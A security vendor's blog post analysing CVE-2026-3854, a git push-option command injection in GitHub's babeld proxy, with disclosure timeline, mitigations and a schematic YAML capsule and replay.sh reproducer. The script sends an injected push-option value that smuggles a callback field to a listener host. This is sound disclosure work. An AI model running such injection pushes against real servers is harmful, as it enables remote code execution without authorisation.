← Back to Research

One git push, Full Server Compromise: CVE-2026-3854 and the FP That Almost Got Filed

Authenticated user. Standard git client. One push. Code execution as the babeld service account on github.com. CVE-2026-3854 is the vulnerability that GitHub validated and patched in under two hours after Wiz Research filed the report on 4 March 2026 — and that internal triagers, on prior reports of the same code path, had marked as "low-impact push-option handling, hardening only." The difference between hardening backlog and CVSS 8.7 RCE was a working PoC.

On 30 April 2026, GitHub published the post-mortem on a vulnerability that let any authenticated user obtain remote code execution on github.com and on every GitHub Enterprise Server in the field by sending one crafted git push. The fix shipped in GHES 3.19.3. The CVSS landed at 8.7. The discovery and disclosure timeline reads as a textbook example of why the same input parsing bug can sit dormant for months as a "low" until a researcher writes the PoC that turns the writeup into RCE. We want to walk through the bug, the reproduction primitive, and how the Proof Capsule flow we publish at Celvex closes that gap for the cases where the customer's own engineers are the only people who get a vote on whether the finding is real.

What happened

The bug lived in babeld, GitHub's internal Git proxy, and specifically in how babeld constructed the X-Stat header it forwarded to the backend on each push. babeld took user-supplied push option values from the client — the -o key=value arguments accepted by git push — and copied them verbatim into a semicolon-delimited internal header without sanitising the semicolon character. Because the same semicolon was the field delimiter babeld used to parse that header into structured metadata at the next hop, an attacker could inject additional fields by including a semicolon in their push-option value. Those injected fields landed in a code path that ultimately executed a shell command using the metadata as input. Wiz Research's writeup walks the full chain end to end, including the babeld decoder behaviour and the backend handler that turned the injection into command execution.

Three details matter for what comes next:

GitHub's own response was exemplary — validated, patched, deployed to github.com inside two hours from the Wiz report, with a forensic sweep that found no prior in-the-wild exploitation. The lesson is not that GitHub did anything wrong. The lesson is what nearly happened to the report on its way to GitHub's triage queue.

Why a working PoC was the only thing that closed the loop

Push-option header mishandling is, on its face, exactly the kind of finding that gets routed to the "server hardening, P3 / informational" bucket on most vulnerability programmes. The reasoning is consistent across teams we have worked with: push options are an authenticated feature, the values are bounded by the git wire protocol, the receiving service trusts its own internal headers because the trust boundary is at the front door, and "we should sanitise the semicolons anyway" is a perfectly reasonable defence-in-depth note that does not block a release. Three of the five FP-rejection patterns we wrote up in our P1-mis-triage breakdown last week apply here verbatim — "potential impact without exploitation," "low-impact info handling labelled higher," and "chain prerequisites the writeup glosses over."

The thing that broke the FP-rejection pattern was that Wiz Research did not file a finding that said "we noticed babeld doesn't sanitise semicolons in push-option values." They filed a finding that said "we noticed babeld doesn't sanitise semicolons in push-option values, and here is the exact git push invocation that produces a reverse shell on the babeld host, and here is the captured output from that shell, and here is the screen-recording of the second-hop service receiving the injected metadata." The writeup was not a hypothesis. It was a reproduction. GitHub's two-hour response time was the proof.

Here's what a Proof Capsule for this looks like

Celvex's Proof Capsule format is the structure we use to ship every finding our autonomous pipeline produces. The point of the Capsule is that the customer's engineers can re-run the exploit against their own asset, in their own environment, without trusting anything we wrote in the writeup. A schematic Capsule for CVE-2026-3854 looks like this:

# capsule.yaml — CVE-2026-3854 schematic
finding_id: CELVEX-2026-3854-GHES-PUSH-INJECTION
vulnerability:
  cve: CVE-2026-3854
  cvss: 8.7
  class: command-injection-via-internal-header
  affected: github-enterprise-server < 3.19.3
target:
  asset: ghes.example-customer.internal
  version_detected: 3.19.1
  detection_method: /api/v3/meta version banner
preconditions:
  - authenticated git account on the GHES instance
  - any repository the account can push to (a fresh fork is sufficient)
  - network reachability to ghes.example-customer.internal:22 (ssh) or :443 (https)
artifacts:
  - poc/replay.sh                   # one-shot reproducer
  - poc/expected-output.txt         # captured shell output, watermarked
  - poc/screen-recording.mp4        # 38-second walkthrough
  - poc/cleanup.sh                  # removes the test branch + push artefact
remediation:
  patch: GHES 3.19.3 or later
  vendor_advisory: https://github.blog/security/securing-the-git-push-pipeline-...
  workaround_until_patched: disable push options at the front door
  workaround_command: |
    ghe-config app.babeld.disable-push-options true
    ghe-config-apply
disclosure:
  reported: 2026-03-04
  patched: 2026-03-04
  cve_assigned: 2026-04-30
  public: 2026-04-30

The companion replay.sh is the load-bearing artefact. It is the file the customer's SRE on-call runs, in their own staging environment, to confirm the finding is not a false positive before they wake the platform team. A schematic outline:

#!/usr/bin/env bash
# replay.sh — CVE-2026-3854 reproducer
# Outputs OK / VULNERABLE / PATCHED. Cleans up after itself.
set -euo pipefail

GHES_HOST="${1:?usage: replay.sh <ghes-host> <account> <ssh-key>}"
ACCOUNT="${2:?missing account}"
SSH_KEY="${3:?missing key path}"

WORKDIR="$(mktemp -d)"
trap 'rm -rf "$WORKDIR"' EXIT

# 1. detect version (skip if unreachable or already >= 3.19.3)
VERSION="$(curl -fsSL "https://$GHES_HOST/api/v3/meta" | jq -r .installed_version)"
case "$VERSION" in
  3.19.[0-2]|3.18.*|3.17.*|3.16.*) echo "VERSION_VULNERABLE: $VERSION" ;;
  *) echo "PATCHED: $VERSION (no replay needed)" ; exit 0 ;;
esac

# 2. set up a throw-away repo the test account can push to
git -C "$WORKDIR" init -q test-repo
cd "$WORKDIR/test-repo"
git remote add origin "git@$GHES_HOST:$ACCOUNT/celvex-cve-2026-3854-replay.git"
echo "celvex replay" > README.md
git -C . add README.md
GIT_SSH_COMMAND="ssh -i $SSH_KEY -o StrictHostKeyChecking=no" \
  git -C . -c user.email=replay@celvex.local -c user.name=replay commit -q -m init

# 3. the push that proves the finding — injected semicolon in -o value
#    if the server is vulnerable, the injected metadata triggers a callback
#    to our test listener; if patched, the push fails benignly.
PAYLOAD="$(printf 'k=v;callback=https://replay.celvex.local/cb/%s' "$(uuidgen)")"
GIT_SSH_COMMAND="ssh -i $SSH_KEY" \
  git -C . push -o "$PAYLOAD" origin main &> push.log || true

# 4. did the listener get the callback within 30s?
if grep -q "VULNERABLE" "$(./poll-listener.sh 30)"; then
  echo "VULNERABLE: CVE-2026-3854 confirmed against $GHES_HOST"
  exit 2
else
  echo "OK: no callback — either patched or push-options disabled"
fi

The Capsule is intentionally small. It does one thing — it lets the customer reproduce the exploit themselves, then delete the test repository. The replay.sh exits with a structured code that ticketing systems pin to. The watermark on the captured output ties the artefact to the customer engagement so neither party can dispute provenance later.

What Celvex would have caught and how customers would have verified

Two honest sentences about what we ship today and what we do not. We do not claim Celvex's nightly research chain would have independently discovered CVE-2026-3854 before Wiz did. Wiz Research is a multi-million-dollar in-depth research team going after a primary platform; that is a different fight to ours. What our pipeline does ship within hours of public disclosure is a tagged test in our scanner corpus that drops into the next nightly run and probes every GHES asset our customers have flagged. The check is the version detection step in the Capsule above — the same /api/v3/meta banner read — followed by a push-only safe-mode probe that confirms exposure without triggering the injection in production.

The customer-side verification flow is what closes the FP-rejection gap. The Capsule lands as a finding in the customer dashboard. The on-call engineer pulls replay.sh, points it at a clone of their staging GHES, and runs it. Either the script reports VULNERABLE and the platform team has a five-minute conversation about whether the patch goes in tonight or in the morning maintenance window, or it reports PATCHED and the finding closes automatically. There is no slack thread that ends with "well, in theory, an authenticated attacker could…" The reproduction is the conversation.

This is L1.5 today — we do not yet auto-mutate exploits in-scan against unfamiliar GHES versions, and we do not claim L3 autonomy. What we do ship is the Capsule, the tagged corpus, and the replay primitive. Our platform page documents the boundary in detail.

Mitigation guidance

  1. If you run GitHub Enterprise Server, upgrade to 3.19.3 or later this week. The vendor advisory lists the affected version range and the patched releases. Github.com itself is already patched.
  2. Until you can deploy the patch, disable push options at the front door. ghe-config app.babeld.disable-push-options true ; ghe-config-apply. This breaks the small number of legitimate push-option workflows; document the exception with your platform team and roll back after the upgrade.
  3. Audit babeld access logs for unusual push-option values for the past 60 days. Specifically, push-option values containing semicolons or other delimiter characters that should never appear in legitimate use. The hashed-token search query in the GitHub blog post gives you the SIEM filter.
  4. Constrain the babeld service account credentials. If your deployment lets babeld broker to internal services with broad credentials, treat those credentials as compromised on any GHES that ran 3.19.0–3.19.2 with public network exposure during the disclosure window.
  5. Re-run the version banner check on every GHES asset weekly, not quarterly. The asset that's still on 3.19.1 in six months is somebody's archived or forgotten staging environment, and that is exactly the asset an attacker pivots through.

Bottom line

CVE-2026-3854 is a clean case study for why "low-impact server hardening" and "RCE on every GitHub Enterprise Server in the world" can be the same finding read by two different triage paths. The first path takes a writeup and asks "what is the demonstrated impact?" and gets a hypothetical answer. The second path takes a writeup and a working PoC and asks the same question and gets a reproducible answer. Wiz wrote the second kind of report. GitHub responded to it in two hours. Every customer engineer reading a finding that begins with "an authenticated user could potentially…" is, by default, on the first path. The Proof Capsule format is the cheapest tool we know of to flip them onto the second.

Pen-testers hand you a PDF once a year; CELVEX Group runs every attack they would, every week, and proves the ones that still work — with a fix attached.

Sources

Run a free Exposure Check — 60 seconds, no signup

See the publicly visible signals an attacker would use to fingerprint your GHES, your CI runners, and the rest of your deploy chain. No account required.

Start your Exposure Check